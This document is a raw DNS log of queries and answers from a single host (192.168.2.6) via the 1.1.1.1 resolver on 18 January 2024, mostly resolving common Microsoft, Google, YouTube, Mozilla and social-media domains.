Jan 18, 2024 00:35:13.592580080 CET	192.168.2.6	1.1.1.1	0x9959	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:13.592736959 CET	192.168.2.6	1.1.1.1	0x9f77	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:13.594676018 CET	192.168.2.6	1.1.1.1	0x87f2	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:13.594786882 CET	192.168.2.6	1.1.1.1	0x9749	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:14.229243994 CET	192.168.2.6	1.1.1.1	0xbb8b	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:14.229374886 CET	192.168.2.6	1.1.1.1	0xc0ea	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Jan 18, 2024 00:35:14.766597033 CET	192.168.2.6	1.1.1.1	0xdd17	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:14.766695976 CET	192.168.2.6	1.1.1.1	0x46b6	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:14.970906973 CET	192.168.2.6	1.1.1.1	0x6429	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:14.971035004 CET	192.168.2.6	1.1.1.1	0xe767	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:15.027390957 CET	192.168.2.6	1.1.1.1	0x60e7	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:15.027498960 CET	192.168.2.6	1.1.1.1	0x537a	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:15.064490080 CET	192.168.2.6	1.1.1.1	0xd703	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:15.064589024 CET	192.168.2.6	1.1.1.1	0x21a	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:15.197701931 CET	192.168.2.6	1.1.1.1	0x359b	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:15.197973013 CET	192.168.2.6	1.1.1.1	0xa824	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:17.650998116 CET	192.168.2.6	1.1.1.1	0x83a0	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:17.651123047 CET	192.168.2.6	1.1.1.1	0x32d6	Standard query (0)	browser.events.data.msn.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:18.457103014 CET	192.168.2.6	1.1.1.1	0x6464	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:18.457222939 CET	192.168.2.6	1.1.1.1	0x9d33	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:18.457479954 CET	192.168.2.6	1.1.1.1	0x4d0d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:18.457561970 CET	192.168.2.6	1.1.1.1	0xa66d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 18, 2024 00:35:21.384399891 CET	192.168.2.6	1.1.1.1	0x6f54	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.470942020 CET	192.168.2.6	1.1.1.1	0x5a85	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.475538969 CET	192.168.2.6	1.1.1.1	0x3d11	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.476592064 CET	192.168.2.6	1.1.1.1	0x8002	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.561757088 CET	192.168.2.6	1.1.1.1	0x34d6	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.569960117 CET	192.168.2.6	1.1.1.1	0xca2a	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jan 18, 2024 00:35:21.651110888 CET	192.168.2.6	1.1.1.1	0x95aa	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Jan 18, 2024 00:35:21.860622883 CET	192.168.2.6	1.1.1.1	0xd6ec	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:21.950045109 CET	192.168.2.6	1.1.1.1	0x9175	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jan 18, 2024 00:35:34.516105890 CET	192.168.2.6	1.1.1.1	0x2b66	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.630815029 CET	192.168.2.6	1.1.1.1	0x5d6	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.727056026 CET	192.168.2.6	1.1.1.1	0x246	Standard query (0)	accounts.google.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:34.861169100 CET	192.168.2.6	1.1.1.1	0xf684	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:34.987639904 CET	192.168.2.6	1.1.1.1	0xc51a	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:35.077702999 CET	192.168.2.6	1.1.1.1	0x68e1	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:36.296288967 CET	192.168.2.6	1.1.1.1	0x8ccc	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.337275028 CET	192.168.2.6	1.1.1.1	0xc2fc	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.360683918 CET	192.168.2.6	1.1.1.1	0xc729	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.432380915 CET	192.168.2.6	1.1.1.1	0xfb9e	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.434197903 CET	192.168.2.6	1.1.1.1	0x7f98	Standard query (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.521897078 CET	192.168.2.6	1.1.1.1	0x619c	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:36.523570061 CET	192.168.2.6	1.1.1.1	0xc0c1	Standard query (0)	proxyserverecs-1736642167.us-east-1.elb.amazonaws.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:36.649914980 CET	192.168.2.6	1.1.1.1	0xcc1b	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:36.740370035 CET	192.168.2.6	1.1.1.1	0x7c3d	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jan 18, 2024 00:35:36.923197985 CET	192.168.2.6	1.1.1.1	0x6324	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:37.837824106 CET	192.168.2.6	1.1.1.1	0x530a	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:37.868576050 CET	192.168.2.6	1.1.1.1	0x315e	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:37.987433910 CET	192.168.2.6	1.1.1.1	0xf50e	Standard query (0)	mitmdetection.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:38.087363958 CET	192.168.2.6	1.1.1.1	0xf475	Standard query (0)	mitmdetection.services.mozilla.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:38.353377104 CET	192.168.2.6	1.1.1.1	0x7cd2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.222954035 CET	192.168.2.6	1.1.1.1	0x2267	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.223011017 CET	192.168.2.6	1.1.1.1	0x31f7	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.225008011 CET	192.168.2.6	1.1.1.1	0xde52	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.333158016 CET	192.168.2.6	1.1.1.1	0x1b1	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.333477974 CET	192.168.2.6	1.1.1.1	0x42a1	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.333777905 CET	192.168.2.6	1.1.1.1	0xaaf2	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.422780991 CET	192.168.2.6	1.1.1.1	0x882a	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:39.424048901 CET	192.168.2.6	1.1.1.1	0xb574	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Jan 18, 2024 00:35:39.424627066 CET	192.168.2.6	1.1.1.1	0x84c3	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Jan 18, 2024 00:35:39.525765896 CET	192.168.2.6	1.1.1.1	0xcf06	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.631675959 CET	192.168.2.6	1.1.1.1	0x25e9	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.719369888 CET	192.168.2.6	1.1.1.1	0x3e95	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.720695019 CET	192.168.2.6	1.1.1.1	0x862f	Standard query (0)	twitter.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:39.730953932 CET	192.168.2.6	1.1.1.1	0x95f	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.810396910 CET	192.168.2.6	1.1.1.1	0xa192	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:39.811566114 CET	192.168.2.6	1.1.1.1	0x448e	Standard query (0)	i.ytimg.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.857841969 CET	192.168.2.6	1.1.1.1	0x7e65	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.907881021 CET	192.168.2.6	1.1.1.1	0xf419	Standard query (0)	i.ytimg.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:39.948206902 CET	192.168.2.6	1.1.1.1	0x261c	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jan 18, 2024 00:35:39.997915983 CET	192.168.2.6	1.1.1.1	0xe130	Standard query (0)	i.ytimg.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:40.005337954 CET	192.168.2.6	1.1.1.1	0x5a8f	Standard query (0)	pki-goog.l.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:40.096590042 CET	192.168.2.6	1.1.1.1	0x5ef8	Standard query (0)	pki-goog.l.google.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:43.793678999 CET	192.168.2.6	1.1.1.1	0x3e5c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:43.885674953 CET	192.168.2.6	1.1.1.1	0x148	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:43.978061914 CET	192.168.2.6	1.1.1.1	0x148	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:43.979934931 CET	192.168.2.6	1.1.1.1	0x4bf2	Standard query (0)	www.google.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:44.053904057 CET	192.168.2.6	1.1.1.1	0x4534	Standard query (0)	rr2---sn-q4fl6nz6.googlevideo.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:44.057703972 CET	192.168.2.6	1.1.1.1	0x5b60	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:44.146986961 CET	192.168.2.6	1.1.1.1	0x4534	Standard query (0)	rr2---sn-q4fl6nz6.googlevideo.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:44.148989916 CET	192.168.2.6	1.1.1.1	0x4c54	Standard query (0)	rr2.sn-q4fl6nz6.googlevideo.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:44.248851061 CET	192.168.2.6	1.1.1.1	0x6b72	Standard query (0)	rr2.sn-q4fl6nz6.googlevideo.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:44.674562931 CET	192.168.2.6	1.1.1.1	0xa4a8	Standard query (0)	rr2---sn-q4fl6nz6.googlevideo.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:35:45.317231894 CET	192.168.2.6	1.1.1.1	0x5eb	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jan 18, 2024 00:35:51.852121115 CET	192.168.2.6	1.1.1.1	0x9a65	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jan 18, 2024 00:36:15.347542048 CET	192.168.2.6	1.1.1.1	0x3095	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:36:57.670778036 CET	192.168.2.6	1.1.1.1	0x5f54	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:37:09.032722950 CET	192.168.2.6	1.1.1.1	0x3368	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:37:09.032825947 CET	192.168.2.6	1.1.1.1	0x861a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 18, 2024 00:37:11.862669945 CET	192.168.2.6	1.1.1.1	0xa7a4	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:37:38.556719065 CET	192.168.2.6	1.1.1.1	0x5dfa	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:08.530704975 CET	192.168.2.6	1.1.1.1	0x680d	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:08.621701002 CET	192.168.2.6	1.1.1.1	0xe3e3	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:08.710875034 CET	192.168.2.6	1.1.1.1	0x2c68	Standard query (0)	youtube.com	28	IN (0x0001)	false
Jan 18, 2024 00:38:18.015650034 CET	192.168.2.6	1.1.1.1	0x9e05	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:18.015748024 CET	192.168.2.6	1.1.1.1	0x7c9d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 18, 2024 00:38:18.539235115 CET	192.168.2.6	1.1.1.1	0xa4a8	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:18.632873058 CET	192.168.2.6	1.1.1.1	0x8c3e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.074816942 CET	192.168.2.6	1.1.1.1	0x7ac7	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.164952993 CET	192.168.2.6	1.1.1.1	0xf809	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:31.256721973 CET	192.168.2.6	1.1.1.1	0x34e5	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Jan 18, 2024 00:38:32.983062983 CET	192.168.2.6	1.1.1.1	0xa1e4	Standard query (0)	clients1.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:32.983164072 CET	192.168.2.6	1.1.1.1	0x90ad	Standard query (0)	clients1.google.com	65	IN (0x0001)	false
Jan 18, 2024 00:38:45.935439110 CET	192.168.2.6	1.1.1.1	0x2eb0	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:46.025105000 CET	192.168.2.6	1.1.1.1	0x645c	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:38:46.113622904 CET	192.168.2.6	1.1.1.1	0x7f2c	Standard query (0)	play.google.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 18, 2024 00:34:14.512820959 CET	1.1.1.1	192.168.2.6	0xd9e5	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.468395948 CET	1.1.1.1	192.168.2.6	0xe99b	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:34.468395948 CET	1.1.1.1	192.168.2.6	0xe99b	No error (0)	star-mini.c10r.facebook.com		157.240.241.35	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.468653917 CET	1.1.1.1	192.168.2.6	0xeeb9	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.251.41.14	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.176.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.251.32.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.251.40.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.65.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.64.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.64.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.493529081 CET	1.1.1.1	192.168.2.6	0xfa04	No error (0)	youtube-ui.l.google.com		142.250.80.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.501060963 CET	1.1.1.1	192.168.2.6	0xaa7c	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:34.501060963 CET	1.1.1.1	192.168.2.6	0xaa7c	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jan 18, 2024 00:34:34.502124071 CET	1.1.1.1	192.168.2.6	0x91df	No error (0)	accounts.google.com		172.253.62.84	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:34.616986990 CET	1.1.1.1	192.168.2.6	0xa888	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:34.617615938 CET	1.1.1.1	192.168.2.6	0xe59a	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:34.617615938 CET	1.1.1.1	192.168.2.6	0xe59a	No error (0)	clients.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:38.129213095 CET	1.1.1.1	192.168.2.6	0xa6f1	No error (0)	www.google.com		142.251.32.100	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:38.129730940 CET	1.1.1.1	192.168.2.6	0xe151	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.250.72.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.250.81.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.251.40.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.251.41.14	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.250.80.78	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.251.35.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.250.65.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.251.40.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.251.40.238	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.250.80.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.250.176.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.251.32.110	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.250.65.174	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		172.217.165.142	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.651824951 CET	1.1.1.1	192.168.2.6	0xece6	No error (0)	youtube-ui.l.google.com		142.250.65.206	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:40.655343056 CET	1.1.1.1	192.168.2.6	0x416b	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:40.655343056 CET	1.1.1.1	192.168.2.6	0x416b	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Jan 18, 2024 00:34:42.567673922 CET	1.1.1.1	192.168.2.6	0x8c70	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:42.567673922 CET	1.1.1.1	192.168.2.6	0x8c70	No error (0)	clients.l.google.com		142.250.80.46	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:42.569361925 CET	1.1.1.1	192.168.2.6	0x7860	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.65.214	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.65.246	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.80.86	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.251.32.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.251.40.214	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.80.54	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.80.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.251.41.22	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.72.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.80.22	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.65.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.251.40.246	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.64.118	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.176.214	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.250.81.246	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.599190950 CET	1.1.1.1	192.168.2.6	0xa746	No error (0)	i.ytimg.com		142.251.35.182	A (IP address)	IN (0x0001)	false
Jan 18, 2024 00:34:43.862171888 CET	1.1.1.1	192.168.2.6	0x2f76	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2024 00:34:43.863164902 CET	1.1.1.1	192.168.2.6	0x89bc	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
